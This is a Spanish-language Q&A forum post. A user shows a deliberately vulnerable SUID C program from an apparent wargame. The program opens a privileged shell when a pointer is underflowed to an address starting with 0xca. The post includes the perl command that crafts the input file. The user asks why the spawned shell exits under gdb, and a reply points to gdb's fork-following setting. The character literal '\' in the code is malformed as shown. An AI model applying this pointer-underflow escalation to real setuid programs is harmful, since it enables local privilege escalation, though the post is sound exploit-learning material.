El programa se explota dentro de gdb, el nuevo shell se genera pero se termina de inmediato

5

Estoy intentando explotar un programa SUID.

El programa es:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]); 
printf(" ]\n");
}

int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;

while((x = getchar()) != EOF) {
        switch(x) {
                case '\n': 
                      print(buf, sizeof(buf)); continue; break;
                case '\': 
                      ptr--; break; 
                default: 
                      e(); 

                      if(ptr > buf + sizeof(buf)) 
                            continue; 

                      ptr++[0] = x; break;
        }
}
printf("All done\n");
}

Podemos ver fácilmente que si de alguna manera cambiamos el contenido de ptr a alguna dirección que comienza con CA, entonces se generará un nuevo shell para nosotros. Y como ptr normalmente contiene una dirección que comienza con FF, la forma de disminuirla (ptr) es ingresar \ carácter. Así que hago un archivo con 0x35000000 '\' caracteres y finalmente 3 'a' al final del archivo

perl -e "print '\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa >> file        # So that e() is called which actually spawns the shell

Y finalmente en gdb,

run < file

Sin embargo, en lugar de generar un shell, gdb está diciendo

process <some number> is executing new program /bin/dash
inferior 1 exited normally

Y luego volver a gdb prompt en lugar de obtener un shell. He confirmado al establecer puntos de interrupción en las ubicaciones apropiadas que ptr está comenzando con CA antes de que se llame a setresuid ().

También si canalizo esto fuera de gdb, no pasa nada.

./vulnProg < file

Se le devuelve el aviso de Bash.

Por favor, dime dónde estoy cometiendo un error.

    
pregunta Sounak Bhattacharya 22.06.2015 - 09:19
fuente

1 respuesta

2

Esto puede ser un poco tarde, pero GDB se mantiene conectado al proceso principal cuando un programa se ejecuta de forma predeterminada. Para hacer que GDB siga el proceso de forking, agregue establecer follow-fork-mode child a su .gdbinit. GDB luego seguirá el proceso de shell que se genera cuando aterriza tu exploit. Puede encontrar más información sobre gdb y los procesos de forking en enlace .

    
respondido por el Justin Moore 15.07.2015 - 23:48
fuente

Lea otras preguntas en las etiquetas